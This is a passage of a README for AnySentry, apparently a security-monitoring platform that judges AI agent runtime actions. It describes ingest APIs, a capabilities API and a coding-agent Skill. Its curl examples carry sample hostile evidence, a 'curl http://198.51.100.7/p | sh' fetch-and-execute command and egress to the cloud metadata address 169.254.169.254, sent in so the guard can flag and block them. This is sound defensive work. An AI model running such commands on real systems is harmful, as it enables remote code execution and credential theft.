  "line": "{\"identity\":{\"agent\":\"py\",\"task\":\"1\"},\"event\":{\"Egress\":{\"pid\":1,\"peer\":\"169.254.169.254\",\"port\":80}}}"
}'
# → { "accepted": true, "verdict": "block", "tier": "Rules", "severity": "high", ... }

For heterogeneous producers that do not emit observer NDJSON, use the generic JSON batch ingress. AnySentry converts each item into the same canonical anysentry.agent_event.v1 stream and still runs it through @a3s-lab/sentry before it reaches Incidents, Alerts, Assets, Coverage, and Topology. CloudEvents are accepted on the same endpoint in structured mode (application/cloudevents+json) or binary mode (ce-* headers plus a JSON body). The specversion / type / source / subject / time fields are preserved as evidence attributes while data, UTF-8 JSON data_base64, or the binary-mode JSON body supplies the security event fields:

curl -X POST localhost:29653/security-center/ingest/events -H 'Content-Type: application/json' -d '{
  "sourceType": "webhook",
  "sourceName": "ci-runner",
  "collectorId": "github-actions",
  "workspacePath": "repo://payments",
  "agentId": "release-agent",
  "sessionId": "deploy-42",
  "events": [
    { "kind": "tool", "argv": ["bash", "-c", "curl http://198.51.100.7/p | sh"], "cwd": "/workspace" },
    { "kind": "egress", "peer": "169.254.169.254", "port": 80 }
  ]
}'
# → { "accepted": true, "acceptedEvents": 2, "items": [{ "eventId": "...", "verdict": "block", ... }] }

CloudEvents example:

curl -X POST localhost:29653/security-center/ingest/events -H 'Content-Type: application/cloudevents+json' -d '{
  "specversion": "1.0",
  "id": "evt-42",
  "type": "com.example.agent.tool",
  "source": "github-actions",
  "subject": "release-agent",
  "time": "2026-06-29T00:00:00Z",
  "data": {
    "workspacePath": "repo://payments",
    "sessionId": "deploy-42",
    "argv": ["bash", "-c", "curl http://198.51.100.7/p | sh"],
    "cwd": "/workspace"
  }
}'

Structured CloudEvents that use data_base64 are decoded before normalization:

curl -X POST localhost:29653/security-center/ingest/events -H 'Content-Type: application/cloudevents+json' -d '{
  "specversion": "1.0",
  "id": "evt-46",
  "type": "com.example.agent.tool",
  "source": "github-actions",
  "subject": "release-agent",
  "datacontenttype": "application/json",
  "data_base64": "eyJ3b3Jrc3BhY2VQYXRoIjoicmVwbzovL3BheW1lbnRzIiwic2Vzc2lvbklkIjoiZGVwbG95LTQ2IiwiYXJndiI6WyJpZCJdLCJjd2QiOiIvd29ya3NwYWNlIn0="
}'

CloudEvents batch mode (application/cloudevents-batch+json) accepts an array of structured CloudEvents and records per-event CloudEvents evidence:

curl -X POST localhost:29653/security-center/ingest/events \
  -H 'Content-Type: application/cloudevents-batch+json' \
  -H 'X-AnySentry-Source-Id: <source-id>' \
  -H 'X-AnySentry-Ingest-Token: <ingest-token>' \
  -d '[
    {
      "specversion": "1.0",
      "id": "evt-44",
      "type": "com.example.agent.tool",
      "source": "github-actions",
      "subject": "release-agent",
      "data": { "workspacePath": "repo://payments", "sessionId": "deploy-44", "argv": ["id"], "cwd": "/workspace" }
    },
    {
      "specversion": "1.0",
      "id": "evt-45",
      "type": "com.example.agent.egress",
      "source": "github-actions",
      "subject": "release-agent",
      "data": { "workspacePath": "repo://payments", "sessionId": "deploy-44", "peer": "169.254.169.254", "port": 80 }
    }
  ]'

CloudEvents binary-mode example:

curl -X POST localhost:29653/security-center/ingest/events \
  -H 'Content-Type: application/json' \
  -H 'ce-specversion: 1.0' \
  -H 'ce-id: evt-43' \
  -H 'ce-type: com.example.agent.egress' \
  -H 'ce-source: github-actions' \
  -H 'ce-subject: release-agent' \
  -H 'ce-datacontenttype: application/json' \
  -d '{
    "workspacePath": "repo://payments",
    "sessionId": "deploy-43",
    "peer": "169.254.169.254",
    "port": 80
  }'

OpenTelemetry bridges can send OTLP/HTTP JSON directly to POST /security-center/ingest/otlp/v1/logs or POST /security-center/ingest/otlp/v1/traces (the shorter POST /security-center/ingest/otel accepts both signals too). AnySentry accepts resourceLogs and resourceSpans, maps resource attributes such as service.name, service.namespace, service.instance.id, and k8s.pod.name onto Agent / Workspace / Session identity, and maps common span/log attributes into tool, network, file, LLM, or content events:

curl -X POST localhost:29653/security-center/ingest/otlp/v1/logs -H 'Content-Type: application/json' -d '{
  "sourceType": "otel",
  "resourceLogs": [{
    "resource": { "attributes": [
      { "key": "service.name", "value": { "stringValue": "release-agent" } },
      { "key": "service.namespace", "value": { "stringValue": "repo://payments" } }
    ] },
    "scopeLogs": [{ "logRecords": [{
      "traceId": "4bf92f3577b34da6a3ce929d0e0e4736",
      "spanId": "00f067aa0ba902b7",
      "body": { "stringValue": "bash -c curl http://198.51.100.7/p | sh" },
      "attributes": [
        { "key": "anysentry.event.kind", "value": { "stringValue": "tool" } },
        { "key": "process.command_line", "value": { "stringValue": "bash -c curl http://198.51.100.7/p | sh" } }
      ]
    }] }]
  }]
}'

To regression-check the heterogeneous ingress contract against a running API, including evidence redaction across generic JSON, CloudEvents, and OTLP attributes, use:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:ingest-protocols

For a one-command local run that builds the API, starts a temporary server, verifies Generic JSON, CloudEvents structured/binary/batch, CloudEvents data_base64, OTLP logs/traces plus the mixed short /ingest/otel endpoint, Source token rejection, and Source rollups, then stops the server:

pnpm verify:ingest-protocols:local

Source-compatible progressive capability API

AnySentry exposes a source-compatible progressive API at GET|POST /security-center/capabilities. It follows the same compact discovery pattern as the platform capabilities API: list -> search / describe -> execute. Callers discover modules first, search or describe the exact operation schema only when needed, then call a single execute action with module + operation + params. describe can narrow all the way to one operation. Operation descriptions include typed inputSchema.body.properties.params contracts and structured outputSchema.data result schemas, so agents can generate calls without a second OpenAPI surface or duplicated reference docs. For execute calls, dryRun: true uses the same described input schema to return anysentry.progressive.dry_run.v1 with schemaValid, schemaIssues, and a normalized request preview without writing events or mutating remediation state. The dashboard includes the same flow at /capabilities for live discovery and request replay.

curl 'http://localhost:29653/security-center/capabilities?action=list'
curl 'http://localhost:29653/security-center/capabilities?action=describe&module=security-center&operation=assessRuntimeAction'

The built-in module is security-center, with these operations:

assessRuntimeAction - evaluate one AI runtime action and return allow, warn, require_approval, or block.
recordSecurityEvents - normalize custom/webhook/OTel-shaped evidence into the same judged event stream as observer NDJSON.
buildEvidenceBundle - assemble governance evidence around an event, run, trace, source, incident, objective, or scope.
planNextActions - rank active remediation, incident, alert, objective, and coverage-derived work into an evidence-linked action plan for AI operators.

Runtime guard calls use loop-autonomy vocabulary in params.autonomy or constraints.autonomy: suggest only warns, guarded returns require_approval for block-level risk, and auto returns a blocking decision. Use the same POST body with dryRun: true before execution when an agent needs a side-effect-free schema and targeting preflight.

curl -X POST http://localhost:29653/security-center/capabilities \
  -H 'Content-Type: application/json' \
  -d '{
    "action": "execute",
    "module": "security-center",
    "operation": "assessRuntimeAction",
    "params": {
      "autonomy": "guarded",
      "stage": "tool",
      "workspacePath": "repo://payments",
      "agentId": "release-agent",
      "sessionId": "deploy-42",
      "toolName": "bash",
      "command": ["bash", "-c", "curl http://198.51.100.7/p | sh"]
    }
  }'

AI operators can then ask for a structured next-action plan and use each action's evidence.bundleHint with buildEvidenceBundle when a deeper case file is needed:

curl -X POST http://localhost:29653/security-center/capabilities \
  -H 'Content-Type: application/json' \
  -d '{
    "action": "execute",
    "module": "security-center",
    "operation": "planNextActions",
    "params": {
      "timeType": "last_1d",
      "workspacePath": "repo://payments",
      "maxActions": 5
    }
  }'

By default this endpoint follows the raw progressive dispatch contract: list returns modules, search returns operations, describe returns a module or operation, and execute returns the operation result. Add shaped=true to get a tool-friendly envelope with success, modules / operations / operation / data, plus compatibility metadata. Legacy capabilityId inputs such as security.runtimeGuard are still accepted as aliases, but they are not the primary protocol.

Coding-agent progressive API Skill

The repo ships an a3s-box-style Skill for coding agents at integrations/skills/anysentry-api. It gives Codex, Claude Code, Cursor/Windsurf, Devin/OpenHands, a3s-code, or any other coding agent the same progressive API contract: discover first, describe exactly, then execute. Agents should use this Skill instead of memorizing concrete REST paths or falling back to the deprecated ACP-style poll / subscribe / approve action set.

Canonical Skill artifact

The canonical artifact is the directory under integrations/skills/. Install or package the whole directory when the host supports filesystem Skills; otherwise paste the SKILL.md body into that host's project/system instructions.

mkdir -p "${CODEX_HOME:-$HOME/.codex}/skills"
cp -R integrations/skills/anysentry-api "${CODEX_HOME:-$HOME/.codex}/skills/"

Then invoke it explicitly:

Use $anysentry-api to check http://localhost:29653/security-center and assess this planned shell command before execution.

Universal agent instruction block

For agent hosts that do not have a native Skill package format, add this block to the agent's system prompt, project rules, or repository instructions:

---
name: anysentry-api
description: "Use AnySentry's progressive API to deploy-check AnySentry, discover security-center operations, assess runtime actions, ingest evidence, and build evidence bundles."
parameters:
  - name: apiBase
    type: string
    required: false
    description: "AnySentry API base without a trailing slash, default http://127.0.0.1:29653/security-center"
  - name: action
    type: string
    required: true
    description: "list | search | describe | execute"
  - name: module
    type: string
    required: false
    description: "Module name, normally security-center"
  - name: operation
    type: string
    required: false
    description: "Operation from describe, such as assessRuntimeAction"
  - name: params
    type: object
    required: false
    description: "Operation parameters validated against describe"
---

# AnySentry Progressive API Skill

Use this Skill only when a running AnySentry API is available. Set
`ANYSENTRY_API_BASE` to the API root without a trailing slash; default to
`http://127.0.0.1:29653/security-center`.

Flow:

1. Health check: `GET $ANYSENTRY_API_BASE/healthz`.
2. Discover: `GET $ANYSENTRY_API_BASE/capabilities?action=list`.
3. Search when unsure: `GET $ANYSENTRY_API_BASE/capabilities?action=search&query=<keywords>`.
4. Describe before execution:
   `GET $ANYSENTRY_API_BASE/capabilities?action=describe&module=security-center&operation=<operation>`.
5. Execute only with `POST $ANYSENTRY_API_BASE/capabilities` and JSON body:
   `{ "action": "execute", "module": "security-center", "operation": "<operation>", "params": { ... } }`.

Rules:

- Do not guess module names, operation names, parameters, enum values, or response shape. Use
  `list`, `search`, and `describe` first.
- Do not use ACP-only actions `poll`, `subscribe`, or `approve`; AnySentry's primary protocol is
  `list / search / describe / execute`.
- Prefer `dryRun: true` before enforcing a guard decision on a planned tool command.
- Use `params.autonomy` or `constraints.autonomy` with autonomy modes: `suggest`, `guarded`, or
  `auto`.
- Treat guard results as policy signals: `allow` may proceed, `warn` should be surfaced,
  `require_approval` needs human approval, and `block` must stop the action.
- Use `recordSecurityEvents` for structured agent evidence and `buildEvidenceBundle` for handoff
  reports after you have an `eventId`, `runId`, `traceId`, source, incident, objective, or scope.
- If management auth is enabled, pass `X-AnySentry-Admin-Token` only for control-plane writes.
  Ingest identity uses Source tokens, not the admin token.
- When a request fails, re-run `describe` for the target module/operation before changing fields.

Host adapters

Agent host	How to attach the Skill
Codex / OpenAI coding agents	Copy `integrations/skills/anysentry-api` into `${CODEX_HOME:-$HOME/.codex}/skills/`, then call `Use $anysentry-api ...`.
a3s-code / platform runtimes	Attach the parent directory with `skillDirs: ["integrations/skills"]`, then invoke `Skill` with `skill_name: "anysentry-api"`. Use `pnpm verify:a3s-code-skill-api` for the real SDK/model check.
Claude Code	Put the universal block or the canonical `SKILL.md` content in `CLAUDE.md` or project instructions. Use the shell/HTTP tools only when the session allows them.
Cursor / Windsurf	Add the universal block to workspace rules (for example `.cursor/rules/anysentry-api.mdc`) or global AI rules, and set `ANYSENTRY_API_BASE` in the dev environment.
Devin / OpenHands / remote coding agents	Add the block to repository instructions or the task bootstrap prompt, export `ANYSENTRY_API_BASE`, and run the verifier commands after integration.
Generic SDK agents	Store the block as a system instruction and implement four helper calls: `listCapabilities`, `searchCapabilities`, `describeOperation`, and `executeOperation`. Keep endpoint construction centralized so models never hand-write stale URLs.

Minimal helper contract

Any host can implement the Skill with this small tool surface:

type ProgressiveAction = "list" | "search" | "describe" | "execute";

interface AnySentryProgressiveCall {
  action: ProgressiveAction;
  module?: "security-center" | string;
  operation?: string;
  query?: string;
  params?: Record<string, unknown>;
  dryRun?: boolean;
  shaped?: boolean;
}

Discovery uses GET /capabilities; execution uses POST /capabilities. The service owns the operation schemas, so the agent should cache described schemas within a session but refresh them after an error or deployment change.

What it shows

The backend holds one Sentry judge. Each ingested event is run through sentry.evaluate(), the resulting Decision { verdict, tier, severity, reason, action, risk } is recorded to ClickHouse, and an in-memory hot ring (hydrated from ClickHouse on boot) serves the panels. Risk taxonomy comes from a3s-sentry; AnySentry only localizes, aggregates, and displays it. Every panel is a query over that live decision stream:

Panel	Source
Health / token	block & escalate rates over the window
Explainability wave	safe-vs-risk score binned over time
Decision funnel	events resolved at L1 rules → L2 (escalations) → L3 (high/critical) → final block
Risk summary / breakdown	judged events grouped by the monitored risk taxonomy, with period-over-period change
Collector health	a3s-observer heartbeats grouped by node / pod, with drop and coverage signals
Ingestion sources	platform-managed observer / forwarder / webhook / OTel / custom sources with token rotation, health, and last-seen state
Agent inventory	agents automatically discovered from observer events, with platform-side owner / environment / criticality metadata
Workspace inventory	service/workspace assets derived from Agent inventory, with owner, coverage, maintenance, and risk rollups
Coverage gaps	non-invasive monitoring completeness: stale agents, source gaps, stale Source tokens, missing collector heartbeat, and unowned events
Maintenance windows	platform-side planned maintenance for all / workspace / agent / collector / source targets, suppressing alert noise without agent changes
Agent topology	workspace / collector / tool / network / file / LLM dependencies inferred from observed events
Incident management	risky observer events auto-grouped into open / acknowledged / resolved incidents
Alert center	platform-side alerts from Incidents, Collector health, risky Agents, severe block events, rejected Source ingress, Source health, Coverage gaps, Objective breaches, and overdue Remediations
Notification routing	webhook channels, delivery history, and alert routes by severity, kind, workspace, agent, collector, source, owner, team, or keyword, including Coverage issue routes
Objectives / SLO	non-invasive monitoring goals for coverage, Incident, Alert, overdue-Remediation, risky-event, stale-Agent, Collector-down, and Source-down thresholds
Remediation center	Runbook tasks derived from Incidents, Alerts, Coverage gaps, and Source health issues, with owner/status/steps
AI Operator workbench	`/operator` ranks active work through `security-center.planNextActions`, previews evidence through progressive `buildEvidenceBundle`, updates Remediation status, and deep-links related assets
Progressive API workbench	`/capabilities` lets operators discover modules, search/describe operations, edit execute payloads, run schema-aware dry-run preflights, and inspect responses through the single capabilities endpoint
Audit log	platform management actions such as policy saves/replays, Incident, Alert, and Remediation updates
Non-invasive event timeline	recent canonical agent events with trace/span/run IDs and risk evidence
Policy replay	dry-run a draft policy against recent observed events before saving it
Highest-risk session	the session with the largest summed risk, as a 6-dimension radar
Workspace distribution	risk grouped by workspace / agent identity
Agent observability	live SSE: heartbeat, error rate, throughput, behavior drift

escalate rules fail-open when no L2/L3 backend is wired, but the marker + severity are preserved, so the monitoring layer still surfaces them as escalations — exactly what the funnel's L2/L3 tiers count.

Event APIs

In addition to the aggregate dashboard APIs, AnySentry exposes event evidence for drill-down:

POST /security-center/events/list — recent canonical agent events, filterable by time, agent/session/workspace, trace/run, event kind/category, and verdict; eventId pins an exact evidence event even when the current filters would normally hide it. A request with only eventId returns just that evidence row.
POST /security-center/events/timeline — ordered events for a trace, run, session, or pinned evidence eventId.
GET /security-center/sessions/agentObservability/stream — live SSE frames for dashboard heartbeat, error-rate, throughput, latency, and behavior-drift metrics.
POST /security-center/evidence/bundle — read-only case-file assembly for an eventId, Topology edgeId, incidentId, alertId, taskId, objectiveId, Coverage issueId, Notification deliveryId, Maintenance windowId, Audit auditId, or operational scope. The bundle links the primary object with timeline events, related Incidents, Alerts, Remediations, Objectives, Coverage gaps, Notification delivery history, Maintenance windows, Topology evidence, Agent / Workspace / Source / Collector context, and management Audit records without requiring any agent-side code. Source/Collector/Workspace scoped bundles include notification deliveries by exact alert context scope, so operational handoffs keep the delivery trail even without a specific Alert ID. Scoped bundles also include exact target Maintenance windows so handoffs retain the active suppression context without broad keyword matching; Event-primary bundles bind primary.event to the same normalized payload returned in events[], including Source, Collector, workspace, run, Agent, session, trace, event kind, category, and verdict fields. Source/Collector/Workspace scoped bundles also attach exact observed Agent maintenance windows from scoped event evidence. A pure sourceId bundle hydrates that Source's bound Collector and Workspace context so the handoff includes the upstream operational owner path, Collector-scoped bundles attach the Workspace inventory context for exact matching Sources plus exact observed Agent context from the scoped event evidence without workspace-wide Agent bleed, Workspace-scoped bundles attach Collector health context for exact matching Sources and the Workspace's Agent inventory, and a unique metadata-only agentId bundle hydrates that Agent's Workspace ownership context. Coverage issueId bundles hydrate the issue's exact Source, Collector, Workspace, and Maintenance context; Agent context is included only when the issue or scoped event evidence identifies that Agent. Objective and Remediation case files also preserve second-order links such as Objective-derived Remediation overdue Alerts and their delivery records.
POST /security-center/evidence/export — redaction-safe Markdown handoff generation for the same Evidence Bundle selectors, returning filename, content hash, scope, summary, and export content for ticket, review, or incident handoff workflows.
POST /security-center/ingest/events — generic JSON batch ingress for webhook, OTel bridge, or custom producers; items are normalized into the same canonical event stream as observer NDJSON.
POST /security-center/ingest/otel, /security-center/ingest/otlp/v1/logs, and /security-center/ingest/otlp/v1/traces — native OTLP/HTTP JSON ingress for resourceLogs and resourceSpans, normalized into the same canonical event stream and source registry.
POST /security-center/incidents/list and PUT /security-center/incidents/:incidentId — risk events automatically grouped into operational incidents that can be acknowledged, reopened, or resolved; list queries can be scoped by workspace, Agent, session, trace, Collector, or Source.
POST /security-center/alerts/list, PUT /security-center/alerts/:alertId, and GET /security-center/alerts/config — operational alerts derived from Incidents, Collector heartbeats, Agent pressure, severe block events, rejected Source ingress attempts, Source check-in errors, stale/down Sources, Coverage gaps, stale Source tokens, Objective breaches, and overdue Remediation tasks. Alert list selectors include exact alertId, linked incidentId, eventId, Remediation taskId, Objective objectiveId, and Coverage issueId; related-ID selectors pin the target alert while still allowing filtered context rows for deep links. ANYSENTRY_ALERT_WEBHOOK_URL enables best-effort webhook notification without changing agents.
GET /security-center/notifications/config, POST/PUT /security-center/notifications/channels, and POST/PUT /security-center/notifications/routes — platform-managed webhook channels and routing rules. Routes can match severity, alert kind, workspace, agent, collector, source, owner, team, or keyword. Generated Source alerts inherit Source owner/team, while Event, Incident, and Agent alerts inherit Agent metadata owner/team when available, then Source owner/team where applicable. Coverage alerts use matching Agent owner/team when scoped to an Agent and fall back to Source owner/team for Source-scoped gaps. Notification config includes a redaction-safe delivery log with alert, action (opened, reopened, or resolved), route, channel, status, duration, related Incident/Event/Remediation/Objective/Coverage issue IDs, and error context; exact channelId, routeId, deliveryId, alertId, incidentId, eventId, taskId, objectiveId, or issueId query parameters pin or filter notification rows for audit deep-links. Route-scope selectors also filter the Route list and Delivery Log by alert context, with exact workspace/agent/collector/source/owner/team matching and minSeverity as a delivery severity floor. Route lists can also be scoped by exact route selectors (kind, minSeverity, workspacePath, agentId, collectorId, sourceId, owner, or team) so Source/Collector/Agent/Workspace consoles open the matching notification policy context without keyword search. Failed deliveries emit system Audit records, and automatic Source / Objective / Coverage / Remediation recovery plus manual Alert / linked-Incident reopen/resolve actions emit matching lifecycle notifications. The legacy ANYSENTRY_ALERT_WEBHOOK_URL still works as a read-only fallback channel.
POST /security-center/objectives/list, POST /security-center/objectives, and PUT /security-center/objectives/:objectiveId — platform-side monitoring goals for global, workspace, Agent, Collector, or Source targets. Objectives evaluate current coverage score, open Incidents, active Alerts, overdue Remediations, risky events, stale Agents, down Collectors, and unhealthy Sources from existing observed/control-plane data; no agent-side code or policy changes are required. Objective list selectors include exact objectiveId plus target targetType, targetId, and metric filters, so Source/Agent/Collector/Workspace consoles can deep-link into their matching goals without keyword search. Breached Objectives emit objective.breach Alerts that can route through Notifications and generate Remediation tasks, while Objective and Coverage governance alerts are excluded from active_alerts Objective calculations to avoid feedback loops. Targeted coverage_score Objectives use exact Coverage selectors (workspacePath, agentId, collectorId, or sourceId) before calculating the scoped score, avoiding keyword-search bleed between similarly named targets. Agent Objectives can use either a bare agentId or the composite workspacePath:agentId target ID; the Agent console uses the composite form so same-name Agents in different Workspaces do not bleed into Objective evaluation, breach Alerts, or Evidence Bundles.
POST /security-center/remediations/list and PUT /security-center/remediations/:taskId — remediation/runbook tasks derived from Incidents, Alerts, Coverage gaps, and Source health issues, with owner, status, due time, notes, step completion state, and direct links back to Sources, Collectors, Agents, Alerts, or evidence events. Remediation list selectors include exact taskId, linked incidentId, alertId, eventId, Objective objectiveId, and Coverage issueId; related-ID selectors pin the target task while preserving source/workspace/agent/collector filter context. Active tasks past dueAt emit remediation.overdue Alerts for Notification routing via both task updates and a platform-side due-date scanner (ANYSENTRY_REMEDIATION_OVERDUE_SCAN_SECS, default 60 seconds); those meta-alerts are excluded from Remediation generation to avoid recursive tasks. Overdue Alerts inherit related Objective and Coverage issue IDs from the task so Notifications and Evidence Bundles keep the full governance context. Notification deliveryId Evidence Bundles use the delivery row as the primary evidence and hydrate the linked Alert, Incident/Event/Task/Objective/Coverage IDs, failed-delivery audit record, channel/route history, and scoped asset context without keyword search. Maintenance windowId Evidence Bundles use the window as primary evidence and hydrate target scope, related suppression context, and the Maintenance audit trail.
POST /security-center/audit/list — platform management audit records for policy saves/replays, Incident updates, Alert updates, Objective updates, and Remediation updates. This is AnySentry control-plane data and does not require any agent-side instrumentation. Audit details carry structured resource identifiers so the UI can deep-link back to Agents, Sources, Notification channels/routes, failed delivery records, Objectives, Maintenance windows, Incidents, Alerts, Remediation tasks, or scoped Evidence Bundles. Audit auditId Evidence Bundles use the Audit record as primary evidence and hydrate linked resource context from exact resource/details IDs. Audit list selectors include exact auditId plus exact resourceType / resourceId and actorId filters; keyword search stays available through q.
POST /security-center/config/simulate — dry-run a draft L1/L2/L3 policy against recent observed events and report added/removed blocks, escalations, affected Agents, and Workspaces.
GET /security-center/healthz — deployment health/readiness JSON for probes and gateways, including service status, uptime, storage mode (clickhouse or in-memory), event counters, and active policy tier status. It intentionally stays ok when ClickHouse is unavailable because AnySentry can run in in-memory mode.
POST /security-center/agents/inventory and GET /security-center/agents/metadata — agent assets discovered from the same observer event stream plus platform-side metadata-only Agent records, with metadata inventory readable for reconciliation; inventory queries are filterable by time, state, agent, workspace, and user.
PUT /security-center/agents/:agentId/metadata — attach owner, team, environment, criticality, tags, and notes to a discovered Agent as a platform-side overlay; no agent code changes are required, and updates are written to the audit log. The Agent inventory view links each asset into Events, Topology, Incidents, Alerts, Coverage, Remediation, Maintenance, Objectives, and Notification routing; exact agentId/workspacePath deep links return only that Agent when used alone, or pin that Agent while preserving health/search context when filters are present, including metadata-only assets.
POST /security-center/workspaces/inventory — workspace/service assets derived from observed Agents and platform metadata, with owner/team/environment rollups, maintenance state, collector count, risk, Incident, and activity metrics. The Workspace inventory view exposes the same operational jump points for the service domain; exact workspacePath links return only that Workspace when used alone, or pin that Workspace while preserving filtered context.
POST /security-center/agents/topology — non-invasive dependency topology derived from the same event stream: workspace→agent, collector→agent, and agent→tool/network/file/LLM/security edges. Topology queries can be scoped by Agent, Workspace, Collector, Source, exact edgeId, or evidence eventId; exact selectors return only matching topology evidence when used alone, or pin the matching edge/event relationships while preserving filtered graph context. Topology edgeId Evidence Bundles use the edge as primary evidence and hydrate the sample event plus operational scope.
POST /security-center/collectors/health — collector fleet health derived from a3s-observer CollectorHeartbeat control-plane events. The Collector health view links each collector into Events, Incidents, Alerts, Coverage, Remediation, Maintenance, Objectives, and Notification routing. Exact collectorId links are pinned even when state/node/search filters would normally hide the collector.
POST /security-center/collectors/heartbeat — optional direct heartbeat endpoint for forwarders or DaemonSets that cannot emit heartbeat lines into the observer stream. The endpoint accepts optional Source identity/token fields or headers and updates Source heartbeat health using the same token enforcement and rejection alerts as normal ingest.
POST /security-center/sources/list, POST /security-center/sources, PUT /security-center/sources/:sourceId, POST /security-center/sources/:sourceId/rotate-token, and POST /security-center/sources/check-in — platform-side ingestion source registry for observers, forwarders, webhooks, OTel bridges, and custom producers. Sources keep owner, team, workspace, collector binding, last attempt, last accepted signal, accepted/rejected counters, hashed ingest tokens, token issued/rotation due timestamps, and per-source token enforcement. ANYSENTRY_SOURCE_TOKEN_ROTATION_DAYS sets the default rotation period, and individual Sources can override it with tokenRotationDays. Source active/stale status is based on accepted events or heartbeats, so rejected attempts do not make a source look healthy; missing/invalid token attempts, malformed source events, check-in errors, stale tokens, and sources with no accepted signal beyond ANYSENTRY_SOURCE_STALE_AFTER_SECS / ANYSENTRY_SOURCE_DOWN_AFTER_SECS produce Source/Coverage signals. The Sources view can send a lightweight check-in or a judged test event, and links each source directly into Events, Incidents, Alerts, Coverage, Remediation, Maintenance, Objectives, and Notification routing. Exact sourceId links are pinned even when status/type filters would normally hide the source; exact collectorId and workspacePath filters scope Source inventory and Evidence Bundles without keyword search. Token use is optional for legacy producers, so existing no-agent-change ingest keeps working. Lightweight producers can also self-identify through check-in without sending a judged event:
```
curl -X POST localhost:29653/security-center/sources/check-in \
  -H 'Content-Type: application/json' \
  -d '{
    "sourceName": "gha-otel-bridge",
    "sourceType": "otel",
    "workspacePath": "repo://payments",
    "status": "ok"
  }'
```
POST /security-center/coverage/overview — monitoring coverage and blind-spot candidates derived from Source health, Source token rotation due state, Collector health, Agent activity, and event collectorId ownership. Medium-or-higher actionable issues also produce coverage Alerts for notification routing and resolve when the scoped Coverage issue disappears or is suppressed. Queries can be scoped exactly by agentId, workspacePath, collectorId, sourceId, or issueId.
POST /security-center/maintenance/list, POST /security-center/maintenance/windows, and PUT /security-center/maintenance/windows/:windowId — planned maintenance windows for global, workspace, agent, collector, or source targets. Active windows suppress matching platform alerts and mark coverage issues as maintenance-suppressed without changing agents, observers, or sentry policy. Maintenance list selectors include exact windowId plus exact target targetType and targetId, so Source/Agent/Collector/Workspace consoles can deep-link into matching windows without keyword search.

These APIs are backed by the same non-invasive event stream that powers the dashboard. Query-style POST endpoints return 200 OK; ingest, creation, rotation, and update endpoints return their action acknowledgements. Operational read APIs accept their object IDs (eventId, Topology edgeId, auditId, incidentId, alertId, Remediation taskId, Objective objectiveId, Notification deliveryId, Maintenance windowId, or Coverage issueId) plus Alert/Remediation related IDs (eventId, taskId, objectiveId, and issueId), Source collectorId / workspacePath, Audit resourceType / resourceId / actorId, and Maintenance/Objective target selectors as pinned deep-link selectors, so Audit Log and cross-console links can surface filtered-out operational objects without losing the normal list context. Event, Topology, Incident, Alert, Remediation, Maintenance, Objective, Audit, and Coverage requests with only the exact object ID return just that evidence or operational row; adding other filters keeps the object pinned while showing the normal filtered context.

To regression-check these cross-console semantics against a running API, use the HTTP verifier:

ANYSENTRY_API_BASE=http://127.0.0.1:29653/security-center pnpm verify:deep-links

For a one-command local run, build the API, start a temporary AnySentry API on a free local port, run the same verifier, and stop the temporary API afterward:

pnpm verify:deep-links:local

Storage

Judged events are written to ClickHouse (a columnar TSDB — the right home for time-windowed event analytics); the in-memory ring is just a hot read cache hydrated from it on boot, so date windows survive restarts. If CLICKHOUSE_URL is unset, AnySentry runs in-memory only (no durability). Retention is a 90-day TTL on the events table (tune in apps/api/src/security-monitoring/clickhouse-store.ts). Policy, Agent metadata, Maintenance windows, Notification channels/routes/delivery history, Objective state, Ingestion source state, Incident state, Alert state, Remediation task state, Collector heartbeat ring, and platform audit records are stored in the ClickHouse config table when ClickHouse is configured, so ownership, planned maintenance, delivery routing/history, monitoring goals, source enrollment, status, step progress, and management history survive restarts.

Development

Requires Node 20+ and pnpm (corepack enable).

pnpm install
pnpm dev          # api (29653) + web (5173, proxies /security-center → api) together

Open http://localhost:5173. Point CLICKHOUSE_URL at a local ClickHouse, or leave it unset to run in-memory.

Kubernetes

For a fleet, run a3s-observer as an observe-only eBPF DaemonSet on every node, forwarding events to AnySentry. See deploy/ for example manifests (AnySentry + ClickHouse + the observer DaemonSet) and the runbook.

Layout

apps/api   NestJS — the sentry judge, ClickHouse store, aggregation, endpoints + SSE + ingest
apps/web   Rsbuild + React — the security dashboard
scripts/   a3s-observer → /ingest forwarders (Node + Python)
deploy/    example Kubernetes manifests + runbook
integrations/skills/  coding-agent skills, including anysentry-api

License

MIT

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Name		Name	Last commit message	Last commit date
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.github/workflows		.github/workflows
apps		apps
deploy		deploy
docs		docs
integrations/skills/anysentry-api		integrations/skills/anysentry-api
scripts		scripts
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README.md		README.md
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